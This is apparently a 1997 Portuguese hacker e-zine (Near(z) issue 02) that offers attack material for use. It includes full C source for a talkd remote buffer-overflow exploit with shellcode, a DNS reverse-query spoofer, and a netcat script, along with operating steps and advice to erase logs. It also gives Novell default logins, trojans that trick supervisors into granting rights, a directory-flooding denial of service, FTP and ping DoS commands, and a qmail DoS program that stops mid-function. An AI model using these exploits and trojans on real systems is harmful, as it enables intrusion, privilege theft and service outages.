Use um editor em modo TEXTO para visualizar este arquivo, Sugestao: EDIT.COM
                  ...ou joe com opcao "-asis" e um bom "setfont alt-8x16" ;)
=< issue 02 >=ĳ=[     N e a r ( z )      ]==< issue 02 >=
                  z                                                         
                 zz                                                         
    Ŀ   zĿ                                                       
     zz    zz                                Ŀ       
     zzz   z                           zZZZZZZZZz        
     zzz  zz                                Ŀ  zz        
     zz zz  z                                        zz         
     z  zz   zz                                       zz          
     zz   zz  z   zzzzz   zzzz     zz zzz  zz           
     z ڿ zz zz  z      z        zz   zz     zz            
     zz  zzz  zzzzz  zzzzz   zz     zz             
     z   zzz  z        zz     zz   z     zz              
     zz    zz  zz        z     z   zz    zz               
     z     zz   zzzzz  zzzzzz z   zz                
    zz                                   z                  
      z                                           zz                  
      zz                                          zz  Ŀ          
       z                                          zZZZZZZZZz     
                                                           
                                                                             
   Keywords: Hack, Crack, Linux, Zine, Programming, Virii, Exploit, NearZ   
                                           
                                                                   
                                                                             
                         ڿ                      ڿ
  Ŀ          ٳ                                Ŀ
   issue 02               Dezembro 1997                issue 02 
  Ŀ                      Ŀ  
  Ŀ Ŀ
    http://nearz.home.ml.org   ۳
 Ŀ  Ĵ
       Ŀ  
    As informacoes contidas nesse arquivos sao para fins educativos!   
      O uso indevido dessas informacoes e' de SUA responsabiLidade     
     

 =->                     Table of Contents                        <-= 

      
    ۱
   ۱ ͻ 
   ۱  [i]         i n t r o            
   ۱   Ĵ  
   ۱  [1]        Programming           
   ۱  [2]       EmaiL Anonimo          
   ۱  [3]    talkd Remote eXploit      
   ۱  [4]          Novell              
   ۱  [5]     Denial of Service        
   ۱  [6]  Passwd,yppasswd,nispasswd   
   ۱  [7]    Netscape - XWindows       
   ۱  [8]         Chat UOL             
   ۱   Ĵ  
   ۱  [M]      M A i L   B O X         
   ۱  [*]      from  /   falow         
   ۱ ͼ 
   ۱
    ۱ 
      

  "Tell me, can you heal what father's done, or fix this hole in a mother
   soon. Can you fix the broken worlds within. Can you strip away so we
   may start again. Tell me, can you heal what father's done , or cut this
   rope and let us run. Just when all seems fine and I'm pain free"
                                                  Hetfield, Ulrich, Hammett

  "We must learn to live together as brothers or perish together as fools"
                                                      Martin Luther King Jr.

ͻͻ
 [i]  ͹ ͹ ͹ ͹         i n t r o          ͹ ͹ ͹ ͹  [i]
==˼ͼ
                         = N e a r  ( z ) = 
                 ͼ                            ͻ
                      internet, 31 de Dezembro de 1997     
                 ͼ
   
   ۱
   ۱
   ۱ Ŀ 
   ۱  No ritmo  de "FiXXXer"(MetaLLica), etamos  devolta no  
   ۱  issue 02, avisando que cometemos erros no issue01, no  
   ۱  endereco da pagina  estava faltando  um `z' colocamos  
   ۱  `near' quando o correto e' `nearz'  errar e humano ;)  
   ۱  pegue ja' o arquivo  "nearz.zip"  neste arquivo estao  
   ۱  todos os issues, incluindo correcoes nos issues 0 e 1  
   ۱  No issue 01 falamos que ensinariamos a fazer um virus  
   ۱  se e' que ja nao fez um hehe, mas como seria um virus  
   ۱  pra iniciantes teria que ser um bem simples, e nao     
   ۱  encontramos um assim, mas estamos procurando, entao    
   ۱  se voce tem um virus bem simples SendNow!. Quanto ao   
   ۱  Cript 2.0 ja' estamos trabalhando na rotina que ira'   
   ۱  encriptar a senha, estamos esperando seus codigos!     
   ۱  
   ۱
   ۱
   
   
   ۱
   ۱ ͻ 
   ۱         Current Members         
   ۱ ͻ 
   ۱  TheGhostObtruder      TheRevenge      SouL Hunter    
   ۱ ͼ 
   ۱
   ۱
   



ͻͻͻ
 [1]      Ĵ  =        Programming         =ͻ  ͻ      [+]
==˼ͼ
               = Ĵ =TheGhostObtruder=͹ ͼ =
                 ==ͼͼ

 Dessa vez fiz um programa bem simples, o geTz, a unica coisa que ele faz
 e pegar uma lista de enderecos FTP's e receber os arquivos...
 (ps: so' funciona no win95)

 E' simples voce faz uma lista dos arquivos que quer receber e coloca num
 arquivo exemplo:
  ftp.microsoft.com/ie4.zip
  sunsite.unc.edu/pub/Linux/apps/minicom.tgz
  ftp.netscape.com/ns404.zip
  ftp.warez.org/win95.zip
 
 Ai, vamos supor que esse arquivo chame-se LISTA.FTP, voce executa o geTz
 nesse arquivo: GETZ LISTA.FTP
 ele vai usar o programa FTP pra receber os arquivos, depois voce vai dormir
 e quando voltar se olhar o arquivo GETZ.LOG vai ver se houve algum erro

[ getz.c    ]STARTCutHere!
/*                                                            */
/*  geTz 1.0 - Near(z) - TheGhostObtruder - 1997 - issue 02   */
/*  http://nearz.home.ml.org/                                 */
/*                                                            */

#include "string.h"
#include "stdio.h"
#include "malloc.h"
                      
#define say      printf
#define quit()   exit(1)

#define User    "anonymous"        // Deixe assim se for ftp anonimo
#define Passwd  "meu@email.com"    // Deixe assim se for ftp anonimo
#define TMP     "getz.$$$"

void main( int argc , char **argv)
{

  int   i; 
 FILE * fp,
      * tmp;
 char * str    = malloc(512),     // eu acho que 512 bytes sao
      * file   = malloc(512),     // suficientes pra um
      * host   = malloc(512),     // enderezo, se vc nao acha
      * ftpcmd = malloc(512);     // coloke mais...hehe

 say("geTz 1.0 - Near(z) - TheGhostObtruder - issue 02 - http://nearz.home.ml.org/\n\n");
 
 if( (str ==NULL) || (ftpcmd ==NULL) || (host ==NULL) || (file ==NULL))
 { say("\nSem Memoria%c\n",7); 
   quit(); }

 if(argc == 1){
  say("Sintax: getz <file>\n\n");
  quit();
 }
 strcpy( file , argv[1] );
 
 if( access(file,0) == -1){
  say("Arquivo nao encontrado \"%s\"\n", file );
  quit();
 }
 if(( fp = fopen(file,"r"))==NULL){ say("Erro abrindo: %s\n",file); quit();}
 
 for(;;){
  unlink(TMP);  // Apagamos o arkivo temporario
  
  if(( fscanf(fp , "%s" , str )) != 1) break; // Lemos a URL do arquivo
  
  for(i=0 ; i<strlen(str) ; ){   //
   if(str[i] == '/') break;      // Dividimos o nome do Host
   host[i]=str[i];               // do nome do arquivo
   host[++i]=0x00;               //
  }strcpy(file,str+i);
  
  say("\n\nHost: %s"  ,host);
  say(  "\nFile: %s\n",file);
  
  if(( tmp= fopen(TMP,"w"))==NULL){ say("Erro criando: %s\n",TMP); quit();}
  sprintf( str , "%s\n%s\nbinary\nget %s\nquit\n", User , Passwd , file );
  fprintf( tmp , "%s" , str );
   fclose( tmp );

  strcpy( ftpcmd , "ftp -s:" );
  strcat( ftpcmd ,  TMP      );
  strcat( ftpcmd , "  " );
  strcat( ftpcmd ,  host     );
  strcat( ftpcmd , "  >>getz.log " );
  
  system( ftpcmd );  // Tudo Pronto! executamos o comando
 }
}
[ getz.c    ]ENDCutHere!


ͻͻͻ
 [2]      Ĵ  =       EmaiL Anonimo        =ͻ  ͻ      [+]
==˼ͼ
               = Ĵ =SOuL HUnTeR=͹ ͼ =
                 ==ͼͼ

                       ͻ
                        Seguranca Minima  Seu Nome 
                       ͼ

   O modo mais simples de enviar uma mensagem anonima e' mudar seu nome
   e email. Isso pode ser feito pelo programa de E-mail.. caso seja
   Netscape, va' em Configuracoes de Email e News e mude suas configuracoes
   pessoais. Faca isso caso o Usuario a receber o email seja um novato...
   pois ele podera saber de que servidor SMTP vc mandou a mensagem e tambem
   o Seu IP...

                 ͻ
                  Seguranca Media  Seu Nome + Servidor SMTP 
                 ͼ

   Um modo mais seguro e' alem de mudar seu nome e email , colocar um outro
   servidor SMTP, visto que servidor SMTP nao precisa de senha...
   exemplo: mail.geocities.com , uol.com.br , etc.
   OBS o usuario ainda conseguira ver seu IP...


            ͻ
             Seguranca Maxima  Seu Nome + Servidor SMTP + Seu IP 
            ͼ

   Essa e' a mais seguras que eu conheco.. 
   1 voce precisa arranjar um programa Servidor de SMTP...
   2 voce precisa fazer a etapa 1 (Seguranca Minima...)
   3 voce tambem precisa fazer a etapa 2 e (Seguranca Media...)
     mas ao inves de colocar um outro servidor SMTP coloque o seu, mas nao
     coloque o numero de seu IP, coloque 127.0.0.1
   4 envie a mensagem...

   Seu nome, seu e-mail, seu SMTP, e seu IP, nao apareceram na mensagem

ͻͻͻ
 [3]      Ĵ  =    talkd Remote eXploit    =ͻ  ͻ      [+]
==˼ͼ
               = Ĵ =TheGhostObtruder=͹ ͼ =
                 ==ͼͼ

 Vagando pela internet achei um programa, talkd (nao e' o talk daemon)
 usando ele e' possivel executar qualquer comando no host alvo, com isso
 voce pode se tornar root...

 Entre no talkd (e programa que aparece mais `a frente)
 Tenha certeza de que voce configurou os parametros de acordo com seu sistema
 e tambem que o USERNAMELENGTH e' igual ao tamanho do username que voce
 estara usando na hora que executar o script `talkpage', o comando que vai
 como argumento no talkd nao deve ser muito longo nao mais que 48 bytes
 (esse comando sera' executado no host...hehe)
 De um kill no name server daemon, e execute dns_rev, dando como um
 parametro um endereco IP que esta fora da lista de nomes do host alvo
 (voce checa (usando um programa que transforme IP em nomes de dominios)
 o IP escolhido, se ele existir escolha outro e tente ate' conseguir um
 que nao exista) e passeo como parametro pra dns_rev
 Execute o talkd no host alvo. O talk chama um usuario que nao existe isto e' 
 para evitar tcp wrappers (teoricamente voce nao tem que evitar, mas se voce 
 evita e' uma coisa a menos pra se preocupar) Voce tem que fazer isto de um 
 host que nao e' servido pelo DNS, desde que os wrappers tentarao fazer DNS 
 lookups
 (depressa, enquanto o talkd ainda esta `vivo') chame um usuario (usando
 o `talkpage' que tem mais a frente) logado que tem mensagens habilitadas
 no host remoto, e de o endereco IP do host que voce esta SPOOFeando (que e'
 o endereco no talk protocol packet, voce nao tem o endereco ? - o talkd e'
 estupido o bastante para nao se preocupar com eles) isto pode ser feito com
 o script 'talkpage' ou algo parecido. Voce pode fazer isto de qualquer host.
 Neste ponto, dns_rev deve dizer: "reverse query accepted", entao o talkd
 remoto deve ter executado o comando que voce passou como parametro pro
 talkd
 Se voce falhar, confira todos os passos cuidadosamente para descobrir
 o que foi  que deu errado; Voce pode repetir a coisa inteira provavelmente
 em uns 2 minutos (que e' o tempo de talkd ser kiLLado, se nenhum outro
 pedido chega...) Se voce nao Falhar, de um kill no dns_rev, re-inicie 
 Logue no host remoto, e apague qualquer os seus tracos dos arquivos de log,
 Voce sabe o que fazer daki em diante!!

[ talkd.c   ]STARTCutHere!
/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* talkd hole exploit. version 0.1
*
*   usage: talkd system [[adrs] size] < command > output
*     
*   reads command to execute on remote host from stdin. writes code to
*   stdout. you have to feed the output to some sort of script or something
*   (try & use netcat for remote exploitation). you may specify address of
*   the buffer on stack on the command line. you may also specify buffer
*   size, which is size of the buffer (last two lines, actually) + size of
*   local variables up to (but not including) the return address - length of
*   anything that will get prepended to the code before it is fed into talk
*   buffers (such as "talk: respond with:  talk username@"). oh, and you have
*   to spoof the host name, of course. THIS ISN'T A NO-BRAINERS SKRIPT. you
*   want a no-brainers script, go use sendmail or something.
*   curently defined systems: bsd386, linux386 (somebody wanna write some 
*   sparc asm code here?)
*   notes. in reality, some weird buffer copying and sizes overwriting is
*   going on in print_mesg() in talkd. that's why, for example, buffer has to
*   be filled with a non-negative nop code. if the order of variables in that
*   function is different (whether declared differently or re-arranged by the
*   compiler at its own free will), the simplistic approach used here might
*   no longer work. the hole might still be exploitable, though - the only
*   way to check is find out exactly what is going on in print_mesg() in your
*   talkd. other things to watch for: ESCAPESPACE inserts an instruction to
*   escape around the space-zero that is copied to the last line of talk
*   buffer, and ends up within the nops (the dots inside the nops fill-in are
*   assumed to be executed nops - which is the case on the i386, but might be
*   different on other architectures. if you can guess the exact code
*   address, you don't need to worry about escaping the dots or the
*   space-zero anyway - assuming the space falls somewhere into the nops, not
*   within the code itself. tty file, which is assumed to be the first or the
*   second parameter to print_mesg() is overwritten with a low address on the
*   stack, in order to shut up the talk message, so the user doesn't get to
*   see it. if this fails on your target, you will probably have to set up a
*   valid FILE structure on the stack, and know exactly where the structure
*   is, so you can supply its address (or try supplying a NULL, if that
*   works). failing that, the only choice left would be to let talkd display
*   the annoying message to the unsuspecting user, by leaving print_mesg()
*   parameters alone - and you would also have to put the command to be
*   executed inside the print_mesg() stack, which will limit its length
*   severly (always enough space for a "rm -rf /", though...).
*
*   by Flash Gordon / CiA (with some ideas "borrowed" from others).        */

unsigned char *codes[]=index.html /* asm k0d3$ to start up a process on each 
                                                                    system */
    {"\x41\xa9\xeb\x3d\x59\x31\xd2\x8d\x71\x0f\x89\x56\xfd\x46\x80\x36"
     "\x80\x75\xfa\x88\x51\x17\x8d\x59\x1a\x88\x13\x43\x89\x59\x08\x8d"
     "\x59\x18\x89\x59\x04\x8d\x59\x10\x89\x19\x31\xc0\xb0\x3b\x89\x51"
     "\xf0\x88\x51\xf5\x52\x51\x53\x50\xeb\x01\x90\x9a.---\x07\x31\xc0"
     "\xb4\x02\x29\xc4\xe8\xb8\xff\xff\xff",
     
     "\x41\xa9\xeb\x2e\x59\x31\xd2\x8d\x71\x0f\x89\x56\xfd\x46\x80\x36"
     "\x80\x75\xfa\x88\x51\x17\x8d\x59\x1a\x88\x13\x43\x89\x59\x08\x8d"
     "\x59\x18\x89\x59\x04\x8d\x59\x10\x89\x19\x31\xc0\xb0\x05\x04\x06"
     "\xcd\x80\xe8\xcd\xff\xff\xff"};

#define PREFIX "/bin/sh -c "  /* don't change that, hardwired into code */
     
char *systems[] = {"bsd386", "linux386"};             

#ifndef USERNAMELENGTH    /* Lembre-se de trocar o `9' !! */
#define USERNAMELENGTH 9  /* president */
#endif

/* linux size is normally 237, 213 when re-arranged and without stack frame*/
/* bsd 4.4 lite - increase bufsize by 272, escapespace by 136 */

int sizes[] = {217 - USERNAMELENGTH, 213 - USERNAMELENGTH};
int addrs[] = {0xEFBFDD6F, 0xBFFFFC6F}; /* DF2C, DD2C (?) on BSDI 1.1 (?) */

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

#ifndef NOESCAPE
#ifndef ESCAPESPACE
#define ESCAPESPACE 120 - 1 - 27 - USERNAMELENGTH
#endif
#endif

#ifndef MAXLBLSIZ
#define MAXLBLSIZ 63 /* protocol allows up to 63 but maybe can be up to 191*/
#endif                         

unsigned char *putint(nop, p, val) unsigned char nop, *p; unsigned val;
{
  int i;
  unsigned char buf[sizeof(int)];
  for (i =index.html 0; i < sizeof(int); ++i) {
    buf[i] =index.html val; val >>= 8;
  }  
  if (nop != 0x41) /* assume big endian target */
    for (i = sizeof(int) - 1; i >= 0; --i) *p++ = buf[i];
  else /* assume little endian target */
    for (i = 0; i < sizeof(int); ++i) *p++ =index.html buf[i];
  return p;
}

void main(argc, argv) int argc; char **argv;
{
  unsigned char *p, *q, *r, *s;
  unsigned i = 0, l, adrs, size;
  if (argc > 1) {
    i = sizeof(systems) / sizeof(*systems);
    while (i && strcasecmp(argv[1], systems[i - 1])) --i;
  }
  if (!i--) {
    fprintf(stderr, "what?\n");
    return;
  }
  adrs = addrs[i]; size = sizes[i];
  if (argc > 2) {
    adrs = strtoul(argv[2], 0, 0);
    if (argc > 3) size = strtoul(argv[3], 0, 0);
  }
  if (p = malloc(4096)) {
    memset(q = p, *codes[i], 4096);
    strcpy(r = ((p += size) - strlen(codes[i] + 2)), codes[i] + 2); 
    p = putint(*codes[i], putint(*codes[i], p, adrs), l = adrs - 2048);
    p = putint(*codes[i], p, l); *p++='.'; *p++= 'x'; *p++ = 'x'; *p++ = 'x';
    strcpy(p, PREFIX); gets(p + strlen(p)); l = strlen(p);
    if (l >= MAXLBLSIZ - 3 && (unsigned char *)strrchr(p, '.')) return;
    do *p++ ^= 128; while (l--);
    l = (unsigned char *)strchr(s = q, '.') - q;
    while (l > MAXLBLSIZ) { 
      if ((s += MAXLBLSIZ) >= r) s = r - 1;
      *s++ = '.'; l -= MAXLBLSIZ + 1; 
    }
#ifdef ESCAPESPACE
    if (q + ESCAPESPACE >= r - 2) return;
    q[ESCAPESPACE] = codes[i][1];
#endif    
    fwrite(q, 1, p - q, stdout);
  }
}
[ talkd.c   ]ENDCutHere!


[ dns_rev.c ]STARTCutHere!
/* replace dns to spoof reverse queries.
*
*        usage: echo -n <host-name> | dns_rev <ip-address>
*        
*   ip-address is the address of host you wanna spoof. the program will wait
*   for a reverse query for this address to arrive, and will return whatever
*   it read from standard input (host-name). address queries for the spoofed
*   host-name will be answered with the ip-address supplied (to keep the tcp
*   wrappers happy). other queries that might arrive in the mean time will be
*   ignored. you hafta kill named before you do this sort of thing (and
*   eventually bring it back up later). currently works only with udp.
*   
*   by Flash Gordon / CiA                                                  */
   
#include <stdio.h>   
#include <string.h>
#include <sys/types.h>   
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>   

#define DNSPORT 53
#define REVDOM ".IN-ADDR.ARPA"
#ifndef MAXDOMSIZ
#define MAXDOMSIZ 384 /* using more than 256 bytes violates the protocol */
#endif                         

/*#define MYNAME "fully qualified domain name of name-server machine" */
/*#define MYADRS 0x7f000001 - ip address of name-server machine, in hex */

unsigned char *get_dom_name(p, l) unsigned char **p; int *l;
{
  static unsigned char buf[BUFSIZ];
  int i;
  unsigned char *q =index.html buf;
  while (1) {
    if (--*l < 0) return 0;
    if (!(i =index.html *(*p)++)) {
      *q = 0; return buf;
    }
    if (*l < i) return 0;
    *l -=index.html i;
    if (q != buf) *q++ = '.';
    while (i--) *q++ = *(*p)++;
  }
}

unsigned char *put_dom_name(p, q) unsigned char *p, *q;
{
  unsigned char *t, dbuf[MAXDOMSIZ];
  q = strcpy(dbuf, q);
  while (1) {
    if (t = strchr(q, '.')) *t = 0;
    *p = strlen(q);
    strcpy(p + 1, q);
    p += *p + 1;
    if (!t) return p + 1;
    q = t + 1;
  }
}

unsigned long rev_long(l) unsigned long l;
{
  unsigned long i = 0;
  int n = sizeof(i);
  while (n--) {
    i = (i << 8) | (l & 255); l >>=index.html 8;
  }
  return i;
}

void main(argc, argv) int argc; char **argv;
{
  unsigned long ip, rip, sip;
  int i, s, l = 0;
  unsigned char *p, *q;
  struct sockaddr_in addr;
  unsigned char buf[BUFSIZ], answer[MAXDOMSIZ], abuf[32];
#ifdef MYNAME
  unsigned char hostname[] = MYNAME;
#else
  unsigned char hostname[32];
  if (gethostname(hostname, sizeof(hostname))) return;
#endif
  if (argc != 2 || (rip = rev_long(sip = ip = inet_addr(argv[1]))) == -1) 
    return;
#ifdef MYADRS
  sip = htonl(MYADRS); 
#endif
  while ((i = getchar()) != EOF) {
    if (l == sizeof(answer) - 1) return;
    answer[l++] = i;
  }
  answer[l++] = 0;
  if ((s = socket(AF_INET, SOCK_DGRAM, 0)) == -1) return;
  addr.sin_family = AF_INET; addr.sin_addr.s_addr = INADDR_ANY;
  addr.sin_port = htons(DNSPORT);
  if (bind(s, (struct sockaddr *)&addr, sizeof(addr))) return;
  printf("waiting...\n");
  while (1) {
    l = sizeof(addr);
    l = recvfrom(s, buf, sizeof(buf), 0, (struct sockaddr *)&addr, &l);
    if (l == -1) return;
    p = buf + 12; l -= 12; i = 0;
    if (!(buf[2] >> 3) && !buf[4] && buf[5] == 1 && (q = get_dom_name(&p, &l))
     && l >= 4 && !*p++ && (++p, !*p++) && *p++ == 1) {
      i = strlen(q);
      if (p[-3] != 12 || (i -= sizeof(REVDOM) - 1) <=index.html 0 
       || strcasecmp(q + i, REVDOM) || (q[i] = 0, inet_addr(q) != rip))
        i = -(p[-3] == 1 && !strcasecmp(q, answer));
    }
    printf("%s query from: %s\n", i == 0 ? "rejecting" : i > 0 ?
     "answering reverse" : "answering forward", inet_ntoa(addr.sin_addr));
    if (i) {
      buf[2] |= 0x84; buf[3] = 0x80;
      buf[6] = buf[8] = buf[10] = 0; buf[7] = buf[9] = buf[11] = 1; 
      *p++ = 0xc0; *p++ = 12; *p++ = 0; *p++ = i > 0 ? 12 : 1; 
      *p++ = 0; *p++ = 1; *p++ = 0; *p++ = 0; *p++ = 0; *p++ = 0; 
      if (i > 0) {
        *p++ = (i = strlen(answer) + 2) >> 8; *p++ = i;
        q = put_dom_name(p, answer);
        strcat(p = strcpy(abuf, inet_ntoa(*(struct in_addr *)&rip)), REVDOM);
      } else {
        *p++ = 0; *p++ = sizeof(ip); memcpy(p, &ip, sizeof(ip));
        q = p + sizeof(ip); p = hostname;
      }
      /* authority record; assume domain authority for forward queries,
         class C net authority for reverse queries. who cares anyway. */
      if (p = strchr(p, '.')) ++p; else p = "";
      q = put_dom_name(q, p);
      *q++ = 0; *q++ = 2; *q++ = 0; *q++ = 1; *q++ = *q++ = *q++ = *q++ = 0;
      *q++ = 0; *q++ = strlen(hostname) + 2; q = put_dom_name(p = q, hostname);
      /* additional record - not really that essential, too. */
      *q++ = ((i = p - buf) >> 8) | 0xc0; *q++ = i; 
      *q++ = 0; *q++ = 1; *q++ = 0; *q++ = 1; *q++ = *q++ = *q++ = *q++ = 0; 
      *q++ = 0; *q++ = sizeof(sip); memcpy(q, &sip, sizeof(sip)); 
      q += sizeof(sip);
      if (sendto(s, buf, i = q - buf, 0, (struct sockaddr *)&addr, 
       sizeof(addr)) == i) printf("sending %d bytes...\n", i);
      else perror("sendto");
    }
  }
}
[ dns_rev.c ]ENDCutHere!


[ talkpage  ]STARTCutHere!
#
# usage: talkpage <user@host> <sourcehost>
#
# nota: esta versao nao suporta DNS, use os enderecos IP's !!!!
#       ou morra!!
#
PUSSY=nc
LAMER=president
PHOST=$1
FHOST=`echo $2 | awk -F . '{ if (NF ==index.html 4) for (i = 1; i <=index.html 4; i++) \
 printf "\\\%o", $i }'`
PUSER=`echo $PHOST | awk -F @ '{ printf "%s", $1 }'`
PNAME=`echo $PHOST | awk -F @ '{ printf "%s", $2 }'`
PHOST=`echo $PNAME | awk -F . '{ if (NF == 4) for (i = 1; i <=index.html 4; i++) \
 printf "\\\%o", $i }'`
if test "$PHOST" = "\0\0\0\0"; then PHOST=; fi
if test -n "$FHOST"; then
if test -n "$PUSER" -a -n "$PHOST"; then
  PUSER=`echo $LAMER $PUSER | awk '{ for (j = 1; j <=index.html NF; j++) {
   printf "%s", substr($j,1,11); \
   for (i = length($j); i < 11; i++) printf "\\\0"; printf "\\\0"; }}'`
  echo -ne "\1\3\0\0\0\0\0\1\0\2\2\232$PHOST\0\0\0\0\0\0\0\0\0\2\2\232\
$FHOST\0\0\0\0\0\0\0\0\0\0\0\1$PUSER\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" \
   | $PUSSY -u -w 1 $PNAME 518
fi
fi
[ talkpage  ]ENDCutHere!


ͻͻͻ
 [4]      Ĵ  =          Novell            =ͻ  ͻ      [+]
==˼ͼ
               = Ĵ =SOuL HUnTeR=͹ ͼ =
                 ==ͼͼ

 Logins defaults, eis alguns:
        PRINT                  LASER          
        HPLASER                DESKJET
        PRINTER                LASERWRITER    
        POST                   MAIL           
        GATEWAY                GATE           
        ROUTER                 BACKUP                                                                             
        WANGTEK                FAX            
        FAXUSER                FAXWORKS       
        TEST                   ARCHIVIST      
        CHEY_ARCHSVR           WINDOWS_PASSTHRU
        ROOT

   Para ver a lista de Logins:
   CX /A /T

   Gravar a lista de usuarios p/ um arquivo:
   CX /A /T >NomeDoArquivo

   Ver os diretorios que vc tem acesso:
   MAP

   Para mapear um diretorio p/ um drive:
   MAP ROOT X:=F:\NOME_DO_DIRETORIO

   Para mapear o VOL_1:
   MAP X:=VOL_1:

   Para alterar as configuracoes do usuario
   NETADMIN.EXE
   NWADMIN.EXE
   SYSCON.EXE

   Para alterar as definicoes dos arquivos
   FILER.EXE

   Para recuperar arquivos apagados
   SALVAGE.EXE
   FILER.EXE

   Para dar nivel de rede p/ alguem de:
   RIGHTS DIRETORIO NIVEIS /NAME=LOGIN
   RIGHTS G:\ S ALL /NAME=1234.12.123
   GRANT S ALL TO NOME_DO_LOGIN FOR DIRETORIO 

   Para criar usuarios :
   MAKEUSER.EXE
   NETADMIN.EXE
   NWADMIN.EXE

                               ͻ
                                  BUGS   
                               ͼ

   Para fazer com que a rede de uns paus na hora de criar um diretorio
   simplesmente crie milhares de diretorios... algo em torno de 50.000
   diretorios. Mesmo que vc tenha restricao de espaco na rede, a novell
   nao conta o diretorio como algo que ocupe espaco... 
   Um programinha em QBASIC (Uma linguagem que vem com o DOS) para criar
   no maximo 308.915.776 diretorios :)

[ mkdirs.bas ]STARTCutHere!
 CLS
 INIT$ = ""
 FOR A = 65 TO 90
 A$ = CHR$(A)
 FOR B = 65 TO 90
 B$ = CHR$(B)
 FOR C = 65 TO 90
 C$ = CHR$(C)
 FOR D = 65 TO 90
 D$ = CHR$(D)
 FOR E = 65 TO 90
 E$ = CHR$(E)
 FOR F = 65 TO 90
 F$ = CHR$(F)
 LOCATE 1, 1
 PRINT "Diretorio: "; INIT$ + F$ + E$ + D$ + C$ + B$ + A$ + "
 MKDIR INIT$ + F$ + E$ + D$ + C$ + B$ + A$
 I = I + 1
 NEXT
 NEXT
 NEXT
 NEXT
 NEXT
 NEXT
[ mkdirs.bas ]ENDCutHere!

  Pelo que eu sei, nao sera facil para eles localizarem o problema, ja' que
  para a Novell diretorio nao ocupa espaco, quando eles fizerem a busca para
  ver quem esta ocupando espaco, vc nao sera detectado...

  OBS ( Apos criar muitos diretorios, o sistema ficara muito lento quando
  voce tentar executar algum arquivo) e nem tente dar um: dir / Ndir  hehe


                          ͻ
                            Destruindo Logins   
                          ͼ

  Use a mesma tecnica de diretorios, ou por arquivos, milhares deles...
  jogue tudo no diretorio principal do Login. Quando a pessoa tentar
  logar, o login ficara parado tentando processar os diretorios por um
  longo tempo... MUiTO LONGO...


                               ͻ
                                 Trojans   
                               ͼ

 Uma solucao bastante interessante e' vc fazer um programa que imite
 a Tela de login da Novell e que capture a senha. Eu nao poderei colocar
 um programa exemplo aqui, ja que essa tela muda de rede p/ rede... Eu
 sugiro que esse programa seja Feito em C/Pascal/Assembly...porem ele
 pode ser feito com perfeicao ate em Clipper/Quickbasic.


 Outro tipo de trojan. e' fazer um programa que use o RIGHTS para te dar
 nivel exemplo: faca um programa que contenha o seguintes comandos:

 @RIGHTS SYS:\ S ALL /NAME=SEU.LOGIN >nul
 @RIGHTS VOL_1:\ S ALL /NAME=SEU.LOGIN >nul

 Depois engane o supervisor a executar......e BOOM!
 Apos fazer isso, procure o diretorio onde fica o arquivo NETADMIN.EXE
 renomei-o para NETADMI1.EXE
 crie um BAT chamado NETADMIN.BAT contendo:

 @echo off
 @RIGHTS SYS:\ S ALL /NAME=SEU.LOGIN >NUL
 @RIGHTS VOL_1:\ S ALL /NAME=SEU.LOGIN >NUL
 @NETADMI1.EXE %1 %2 %3 %4 %5 %6 
 @RIGHTS SYS:\ S ALL /NAME=SEU.LOGIN >NUL
 @RIGHTS VOL_1:\ S ALL /NAME=SEU.LOGIN >NUL

 Pronto... se por acaso te pegarem, e tirarem seu nivel. Basta esperar um
 pouco ate que algum Supervisor execute o NETADMIN para vc ganhar nivel
 altomaticamente
 O mais interessante e' que os supervisores usam o NETADMIN para
 modificar algo de um usuario , isto e', caso ele te descubra, ele entrara
 no NETADMIN para retirar o seu nivel, e quando ele sair do programa vc
 ganhara nivel automaticamente :)

 E' bom tambem criar BATS parecidos p/ o NDIR.EXE, FLAG.EXE, FILER.EXE....

                          ͻ
                            Limite de Espaco   
                          ͼ

 Caso vc conseguiu nivel de supervisor, use o NETADMIN.EXE ou NWADMIN.EXE
 para poder aumentar ou retirar seu espaco em disko.
 Caso vc so tenha Acesso ao root, voce nao podera modificar essas restricoes.
 Mas tendo acesso ao root, coloque seu nivel para outro login que nao
 possui restricao de espaco e senha.
 Entrando nesse login, coloque uma senha, e va ao diretorio onde fica
 seu login verdadeiro. feito isso, comece a copiar tudo o que voce realmente
 tem para um outro diretorio dentro do seu login verdadeiro...
 Pronto. Quando voce entrar com seu login verdadeiro, voce tera todo o
 espaco que lhe e permitido, so que tudo livre.
 Isso porque quem na verdade esta ocupando espaco e' o login que voce
 usou para copiar..Mas voce nao podera editar, copiar, renomear seus
 arquivos, senao o espaco volta a ser seu.

ͻͻͻ
 [5]      Ĵ  =     Denial of Service      =ͻ  ͻ      [+]
==˼ͼ
               = Ĵ =TheRevenge=͹ ͼ =
                 ==ͼͼ

                              ͻ
                                    Linux     
                              ͼ

 1- Para consumir 99,22% do CPU TIME entre via FTP no servidor e digite:

  nlist ../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/
        ../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/
        ../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/
        ../*/../*/../*/../*/../*../*../*

 Nao funciona apenas com Linux mas tambem com todos *BSD.

 2- Ping - Voce usando um Win95 pode fazer com que um remote host resete
    a maquina. Digitando apenas:

 ping -l 65510 host.running.linux

 3. qmail - e' um problema no qmail-smtpd, fazendo com que o programa saia da
    mamoria. Abaixo esta um pequeno programa em c que destaca o problema.
    Para usar digite "qmail host"

[ qmail.c    ]STARTCutHere!

/*
* qmail-dos-2 - run a qmail system out of swap space by feeding an infinite
* amount of recipients.
*
* Usage: qmail-dos-2 fully-qualified-hostname
*
* Author: Wietse Venema. The author is not responsible for abuse of this
*program. Use at your own risk.
*/
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <string.h>
#include <stdarg.h>
#include <errno.h>
#include <stdio.h>

void fatal(char *fmt,...)
     {
         va_list ap;
         va_start(ap, fmt);
         vfprintf(stderr, fmt, ap);
         va_end(ap);
         putc('\n', stderr);
         exit(1);
     }

chat(FILE * fp, char *fmt,...)
    {
       char    buf[BUFSIZ];
       va_list ap;
       fseek(fp, 0L, SEEK_SET);
       va_start(ap, fmt);
       vfprintf(fp, fmt, ap);
       va_end(ap);
       fputs("\r\n", fp);
       if (fflush(fp))
       fatal("connection lost");
       fseek(fp, 0L, SEEK_SET);
       if (fgets(buf, sizeof(buf), fp) == 0)
       fatal("connection lost");
